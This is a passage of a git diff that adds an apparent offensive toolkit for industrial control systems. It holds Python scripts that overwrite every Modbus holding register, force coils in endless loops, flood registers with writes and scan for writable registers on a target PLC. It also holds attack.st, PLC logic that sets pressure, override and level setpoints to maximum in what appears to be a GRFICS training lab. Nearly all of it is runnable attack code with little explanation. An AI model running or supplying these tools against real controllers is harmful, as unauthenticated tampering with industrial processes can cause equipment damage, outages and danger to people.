Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml 